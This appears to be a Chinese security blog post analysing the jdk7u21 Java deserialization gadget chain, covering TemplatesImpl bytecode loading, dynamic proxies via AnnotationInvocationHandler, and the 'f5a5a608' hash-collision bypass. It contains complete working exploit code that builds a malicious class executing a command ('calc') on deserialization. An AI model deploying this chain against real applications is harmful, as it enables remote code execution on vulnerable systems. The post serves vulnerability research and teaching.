jdk7u21反序列化

原理

由javassist负责构建一个恶意类并得到字节码,然后向TemplatesImpl_bytecodes属性赋值恶意类的字节码,字节码数组在被defineTransletClasses()中被实例化成恶意类,调用构造函数中的命令触发RCE,需要调用getOutputProperties()触发

1
2
3
4
5
恶意类的父类必须为ABSTRACT_TRANSLET 
TemplatesImpl类的_bytecodes不为null,为恶意类字节码
TemplatesImpl类的_name不为null
TemplatesImpl类的_class=null
_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,即TransformerFactoryImpl(),以此来兼容不同版本

defindTransletClasses()执行完后,_class[_transletIndex]就已经是恶意类,接下来执行newInstance()实例化恶意类,从而执行构造方法中的payload

defineTransletClasses()中恶意类的构造,把恶意类的字节码转换为类的实例类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {
//_bytecodes不能为null
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
//获取_bytecodes的长度,创建_class数组,这里需要让恶意类的字节码为一个二维字节数组
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// 恶意类的父类必须是ABSTRACT_TRANSLET
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;

public class Myjdk7u21 {

//封装setFieldValue()方法,便于给类字段赋值
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}


public static void main(String[] args) throws Exception {
//ClassPool对象是一个表示class文件的CtClass对象的容器
ClassPool pool =ClassPool.getDefault();
//创建恶意类Evil
CtClass cc=pool.makeClass("Evil");

//设置恶意类父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

//创建恶意类的构造函数,写入payload
CtConstructor cons=new CtConstructor(new CtClass[]{},cc);
cons.setBody("{ Runtime.getRuntime().exec(\"calc\");}");
cc.addConstructor(cons);

//将Evil类转换成byte数组
byte[] TempByteCode=cc.toBytecode();
byte[][] ByteCode=new byte[][]{TempByteCode};

//实例化TemplatesImpl类
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//为TemplatesImpl类的各个字段赋值
setFieldValue(templates,"_bytecodes",ByteCode);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","x");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

templates.getOutputProperties();

}
}

动态代理

当没有没有触发getOutputProperties()的点,就需要使用动态代理,代理是为了在不改变目标对象方法的情况下对方法进行增强

动态代理是java的特性之一,其实就可以理解为web应用中的拦截器,在执行正式代码之前先过一个拦截器函数(比如spring的AOP)。但是以上类比只是为了便于理解,实际上spring的AOP之类的拦截器反而是基于java的动态代理实现的。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 需要实现的接口(拦截动作是基于接口的,所以需要设定接口)
interface ISubject {
public void hello(String str);
}

// 实际的需要被代理的对象
class SubjectImpl implements ISubject {
public void hello(String str) {
System.out.println("SubjectImpl.hello(): " + str);
}
}

// Handler对象(继承InvocationHandler的拦截器)
//InvocationHandler是一个用于跟Proxy类对接的接口
class Handler implements InvocationHandler {
private Object subject;
//构造函数,传入被代理实现类的实例
public Handler(Object subject) {
this.subject = subject;
}
//所有被Proxy拦截的函数都会经过这个接口的invoke函数
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("before!");
//完成拦截操作之后去调用被代理实现类,反射机制,传入实例,参数
method.invoke(this.subject, args);
System.out.println("after!");
return null;
}
}


public class DynamicProxy {
public static void main(String[] args) {
//被代理类
SubjectImpl subject = new SubjectImpl();
//拦截器实现类,通过构造函数传入被代理类的实例
InvocationHandler tempHandler = new Handler(subject);

// 使用Proxy.newProxyInstance创建代理
ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
iSubject.hello("world!");
}
}

Proxy.newProxyInstance三个传入参数:

1
2
3
loader,选用的类加载器。
interfaces,被代理类所实现的接口,这个接口可以是多个。即需要拦截的接口
handler,一个 实现拦截器的invocation handler

设置动态代理后,只要调用了返回对象中被安排代理的接口,就会进入invocationHandler的invoke函数。

延长利用链:AnnotationInvocationHandler

AnnotationInvocationHandler是一个InvocationHandler的实现类

sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler

先看一下AnnotationInvocationHandler的构造函数

在payload构造中传入参数

1
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

这样

1
2
this.type=Templates.class
this.membervalues=map

这里的AnnotationInvocationHandler构造函数是缺省修饰符,在不同的包中是不能直接调用

反射机制中提到,可以使用setAccessible(true)来开放权限。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class Myjdk7u21 {
//序列化
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
//反序列化
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}

//通过反射为obj的属性赋值
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

//封装了之前对恶意TemplatesImpl类的构造
private static TemplatesImpl getEvilTemplatesImpl() throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码
byte[][] targetByteCode = new byte[][]{byteCode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates,"_bytecodes",targetByteCode);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates=getEvilTemplatesImpl();

HashMap map = new HashMap();

//通过反射创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler
Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

Templates proxy = (Templates) Proxy.newProxyInstance(Myjdk7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

map.put("f5a5a608", templates);

byte[] obj=serialize(set);
unserialize(obj);
}
}

反序列化LinkedHashSet类就可以执行命令。

Java在反序列化的时候会调用ObjectInputStream类的readObject()方法,如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。

LinkedHashSet类没有readObject(),但是它的父类HashSet存在readObject(),两者都继承了Serializable接口

readObject()中把Templates和proxy加入到map

进入put()

这里会和上一个 Entry 的 Key (templates) 进行比较,判断这两个对象是否相等,如果相等则新的替换老的值,然后返回老的值。

关键点在于key.equals(k),添加的顺序是,前一个为 templates 后一个为proxy

要到达key.equals(k)需要先满足条件e.hash == hash,也就是满足hash(templates)== hash(proxy),这个条件下面再说

根据||的规则,第一个值为false时才能进入第二个。此时,key等于proxye.key等于templates类,这样(k = e.key) == key返回false。进入key.equals(k)

由于使用了动态代理,调用Templates.equals()就会进入AnnotaionlnvocationHandlerinvoke(),然后因为满足if条件进入equalsImpl

这里的

1
2
3
var1为当前proxy代理实例对象,等于之前的key
var2为当前调用方法,等于equals方法对象
var3为当前调用方法的传入参数列表,等于TemplatesImpl类,也就是之前的k和e.key

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

进入equalsImpl(),前两个条件都不满足,进入getMemberMethods

sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods

满足条件this.memberMethodsthis.type等于Templates,这样就会返回Templates中的所有方法,包括getOutputProperties()

回到equalsImpl,这里会获取this.type类中所有的方法,然后遍历并调用每一个方法。这里让this.type等于Templates接口就可以调用Templates中的所有方法,包括getOutputProperties(),触发payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private Boolean equalsImpl(Object var1) {//var1等于构造好的templates
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();//var2为Templates的所有方法
int var3 = var2.length;//var3为Templates方法的数量

for(int var4 = 0; var4 < var3; ++var4) {//迭代Templates的所有方法
Method var5 = var2[var4];//var5为Templates的中的某个方法
String var6 = var5.getName();//var6为该方法的名称
Object var7 = this.memberValues.get(var6);//在memberValues中获取key为var6的值,但memberValues只有一个key为f5a5a608的键值对,所以var7为null
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//var9也为null
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);//运行会到这里,所以会调用Templates中的所有方法
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

执行成功

Hash绕过

java.util.HashMap#put

条件e.hash == hash,也就是满足hash(templates)== hash(proxy)

调用了hash()

java.util.HashMap#hash

进入hash()函数,这里调用了传入对象khashCode()方法,意味着有可能控制hash值,这里的k为创建的代理实例对象。接着调用了hashCode

因为使用了动态代理,调用hash(proxy)时会自动跳转到AnnotationInvocationHandler.invoke()

sun.reflect.annotation.AnnotationInvocationHandler#invoke

sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
//this.memberValues由构造函数传入的,可以控制,等于map
Iterator var2 = this.memberValues.entrySet().iterator();//获取遍历器
for( ;var2.hasNext(); ) {
var3 = (Entry)var2.next();
String key = var3.getKey();//(可控map的键)
Object value = var3.getValue();//(可控map的值)
var1 += 127 *
key.hashCode() ^ //可控map的键 的 hashCode
memberValueHashCode(value); //可控map的值的 hashCode
}

return var1;
}

sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode

1
2
3
4
5
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {//不是数组的话获取传入值的hashCode。
return var0.hashCode(); //返回var0这个对象的hashCode
...

实际执行

Proxy的hashCode = 127 * 可控键的hashCode ^ 可控值的hashCode == TemplatesImpl的hashCode

只要让可控键的hashCode为0即可,利用f5a5a608的hashcode为0,字符串的hashcode也为0,在POC中构造map.put("f5a5a608", templates),

这样

1
2
var1 = 127 * 0 ^ templates的hashCode
var1 = templates的hashCode

map.put

java.util.HashSet#add

payload中把map.put("f5a5a608", templates)放在最后,这是因为add方法中调用了map.put,如果放在前面就会满足条件直接在本地触发命令执行,经过序列化之后的数据不能反序列化成功。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!